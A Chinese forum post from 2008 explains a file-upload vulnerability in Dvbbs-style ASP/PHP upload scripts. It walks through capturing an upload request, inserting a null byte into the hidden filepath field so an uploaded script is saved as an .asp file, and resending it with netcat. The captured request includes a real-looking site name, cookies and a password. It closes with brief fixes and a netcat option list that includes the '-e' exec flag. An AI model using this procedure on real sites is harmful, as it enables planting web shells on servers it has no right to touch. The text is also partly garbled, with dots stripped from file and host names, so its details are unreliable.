PHP与ASP脚本程序上传漏洞探究与防御

[复制链接] 0
回复
1986
查看
打印 上一主题 下一主题

86

主题

525

帖子

525

积分

荣誉会员

Rank: 4

积分
525
QQ
跳转到指定楼层
1#
发表于 2008-2-15 12:38:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多郧西好友

您需要 登录 才可以下载或查看,没有帐号?注册

x
1:上传漏洞利用的原理只是针对form格式上传的asp和php脚本***
nc(netcat)
  用于提交数据包
  dos界面下运行:
  nc -vv www***com 80<1txt
  -vv: 回显
  80: www端口
  1txt: 就是你要发送的数据包
(更多使用方法请查看本区的帖子)
wse(wsockexpert)
  对本机端口的监视,抓取ie提交的数据包
2:漏洞原理
下面例子假设的前提
www主机: www***com;
bbs路径 : /bbs/
漏洞源于对动网上传文件的研究,建议有一定编程经验的
看看dvbbs的upfileasp文件,没有必要全部看懂
upfile是通过生成一个form表上传,如下
<form name="form" method="post" action="upfileasp" >
<input type="hidden" name="filepath" value="uploadface">
<input type="hidden" name="act" value="upload">
<input type="file" name="file1">
<input type="hidden" name="fname">
<input type="submit" name="submit" value="上传" ></form>
用到的变量:
filepath 默认值uploadface 属性hiden
act   默认值upload   属性hiden
file1  就是你要传的那个文件
关键是 filepath 这个变量!
默认情况下我们的文件上传到www***com/bbs/uploadface/
文件是用你的上传时间命名的,就是upfile里的这一句
filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&""&fileext
--------------------------------------
我们知道计算机里面的数据是一""为标致的用过c语言的都知道
char data[]="bbs"
这个data数组长度是4: b b s
如果我们构造filepath如下,会怎么样呢?
filepath="/newmmasp"
我们在200409240824传的文件就会发生变化
没有改时:
blank>http://www***com/bbs/uploadface/200409240824jpg
用我们构造的filepath时:
blank>http://www***com/newmmasp/200409240824jpg
这样当服务器接收filepath数据时,检测到newmmasp后面的
就理解为filepath的数据就结束了
这样我们上传的文件,比如c:asp
就保存成: blank>http://www***com/newmmasp
3:后期补充
很多网站做了相应的处理,但是对于filepath的过滤和处理都不行
有很多网站只是加了n个hiden属性的变量对付upfileexe就是那个
上传漏洞利用工具或者filepath变量利用工具(老兵的)但是最基本的没改啊。。
而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具
自己改wse抓到的包里的filepath变量,然后在用nc提交。。。
就算他加n个hiden变量也于事无补。
当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结
就是我们的新理论诞生的时候!

4:详细实例:
---------------------
一、wse抓包结果(存到1txt里):
post /bbs/upphoto/upfileasp http/11
accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vndms-excel, application/vndms-powerpoint, application/msword, */*
referer: blank>http://wwwxin126com/bbs/upphoto/uploadasp
accept-language: zh-cn
content-type: multipart/form-data; boundary=-----------7d423a138d0278
accept-encoding: gzip, deflate
user-agent: mozilla/40 (compatible; msie 60; windows nt 51; net clr 114322)
host: blank>wwwxin126com
content-length: 1969
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidaccccdcs=njhcphpalbcankobechkjanf; iscome=1; gamvancookies=1; regtime=2004%2d9%2d24+3%3a39%3a37; username=szjwwwww; pass=5211314; dl=0; userid=62; ltstyle=0; logintry=1; userpass=eb03f6c72908fd84

-----------------------------7d423a138d0278
content-disposition: form-data; name="filepath"

/medias/myphoto/
-----------------------------7d423a138d0278
  

上传
---------------7d423a138d0278-----------------
二、ultraedit打开1txt改数据:

-----------------------------7d423a138d0278
content-disposition: form-data; name="filepath"
/newmmasp█         <===这个黑色代表一个空格是 0x20,改成0x00就可以了

----------------------------
三、重新计算cookies长度,然后nc提交

nc -vv blank>wwwxin126com 80 <1txt

ultraedit是一个16位编辑器网上可以下载得到
我们主要用来写那个结束标致: ====>16位表示:0x00或者00h
其实你改的时候就直接再filepath的结尾处加个00就ok了

计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了

host: blank>wwwxin126com
content-length: 1969 <======就是这个
connection: keep-alive
cache-control: no-cache

计算会吧?一个字母、数字就是1

对于上传漏洞提出的解决思路仅供参考)

1、一般的上传是把上传路径作为一个变量来处理
===>我们的对策就是把filepath变成常量。。。
这个方法是目前最有效的(我认为的)

2、加强对于的处理,原来我们是读到这里就结束
我们继续读直道下一个变量开始的地方,处理就ok了

附:NC Usage:
监听外部主机
    nc [-options] hostname port [ports]  
监听本地主机
    nc -l -p port [options] [hostname] [port]
options:
    -d       detach from console, stealth mode
    -e prog     inbound program to exec [dangerous!!]
    -g gateway   source-routing hop point, up to 8
    -g num     source-routing pointer: 4, 8, 12,  
    -h       this cruft
    -i secs     delay interval for lines sent, ports scanned
    -l       listen mode, for inbound connects
    -l       listen harder, re-listen on socket close
    -n       numeric-only ip addresses, no dns
    -o file     hex dump of traffic
    -p port     local port number
    -r       randomize local and remote ports
    -s addr     local source address
    -t       answer telnet negotiation
    -u       udp mode
    -v       verbose [use twice to be more verbose]
    -w secs     timeout for connects and final net reads
    -z       zero-i/o mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

发表回复

您需要登录后才可以回帖 登录 | 注册

本版积分规则

郧西论坛微信公众号
快速回复 返回顶部 返回列表